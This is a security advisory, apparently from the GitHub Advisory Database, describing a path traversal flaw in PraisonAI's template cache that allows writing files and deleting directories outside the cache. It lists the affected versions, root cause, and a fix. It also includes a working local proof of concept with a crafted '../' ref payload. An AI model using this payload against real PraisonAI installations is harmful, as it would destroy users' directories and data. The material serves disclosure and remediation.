PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion

When

2026-06-18 14:24 UTC

Where

Global (internet)

Category

cyber_advisory · pip

## Summary PraisonAI's template loader accepts GitHub template URIs with refs, for example `github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into `~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref>` without normalizing each segment or checking that the final path remains inside the template cache root. A crafted ref such as `../../../../../../outside-delete-target` therefore escapes the cache directory. The first load can write `.cache_meta.json` outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches `shutil.rmtree(cache_path)` and removes an attacker-selected outside directory before replacing it with cache metadata. This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs. ## Affected versions Confirmed vulnerable: - `v2.6.0` - `v3.9.24` - `v3.9.26` - `v4.5.126` - `v4.5.128` - `v4.6.9` - `v4.6.10` - `v4.6.56` - `v4.6.57` - current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1` Recommended affected range: `>= 2.6.0, <= 4.6.57`. No fixed version is known at the time of this report. ## Impact An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can: - create `.cache_meta.json` outside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix; - corrupt user configuration, project state, or application data reachable by the process permissions. ## Root cause Current-head code path: - `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref` with broad regex groups and returns them without segment validation. - `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources by default when `allow_any_github` is true. - `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI, fetches the template, calculates a checksum, then calls `self.cache.put(...)`. - `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as `self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref`. - `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with `shutil.rmtree(cache_path)`, recreates it, copies content, and writes `.cache_meta.json`. There is no check equivalent to: 1. reject absolute path segments; 2. reject `.` / `..` in owner, repo, template path, or ref; 3. resolve the candidate path; 4. require `os.path.commonpath([cache_root, candidate]) == cache_root`. ## Local-only PoV Run from a PraisonAI source checkout: ```python from pathlib import Path from tempfile import TemporaryDirectory from praisonai.templates.cache import TemplateCache from praisonai.templates.loader import TemplateLoader from praisonai.templates.registry import TemplateRegistry def loader(cache_dir): cache = TemplateCache(cache_dir=cache_dir) registry = TemplateRegistry(cache=cache, offline=False) registry._make_request = lambda url, headers=None: (_ for _ in ()).throw( RuntimeError("network disabled") ) return TemplateLoader(cache=cache, registry=registry) with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp: root = Path(tmp) cache_dir = root / "cache" / "templates" write_target = root / "outside-write-target" loader(cache_dir).load( "github:attacker/repo/template@../../../../../../outside-write-target" ) delete_target = root / "outside-delete-target" delete_target.mkdir() canary = delete_target / "canary.txt" canary.write_text("delete-me") ldr = loader(cache_dir) ldr.load("github:attacker/repo/template@main") ldr.load( "github:attacker/repo/template@../../../../../../outside-delete-target" ) safe_target = root / "safe-control" safe_target.mkdir() safe_canary = safe_target / "canary.txt" safe_canary.write_text("must-remain") loader(root / "safe-cache" / "templates").load( "github:attacker/repo/template@main" ) print("outside metadata written:", (write_target / ".cache_meta.json").exists()) print("outside canary exists after malicious ref:", canary.exists()) print("safe canary exists after normal ref:", safe_canary.exists()) ``` Expected output: ```text outside metadata written: True outside canary exists after malicious ref: False safe canary exists after normal ref: True ``` The PoV uses only temporary directories and disables network fetches. I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless. ## Release sweep The same PoV was run against checked-out tags: ```text praisonai-current metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True ``` `git log` shows the affected template cache/resolver/registry files were added in the `v2.6.0` release commit `e7a8ce8e`. ## Suggested fix Validate every cache path segment before joining: - owner and repo: strict GitHub owner/repo-name regex; - template path: split on `/` and reject empty, `.`, `..`, and absolute forms; - ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute forms, or encode/hash the ref before using it in a filesystem path. Then enforce a final boundary check: ```python cache_root = self.cache_dir.resolve() candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve() if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root): raise ValueError("template cache path escapes cache root") ``` A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments. Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.

Sources

• GitHub Advisory Database ↗ · first seen 2026-06-18 14:24 UTC

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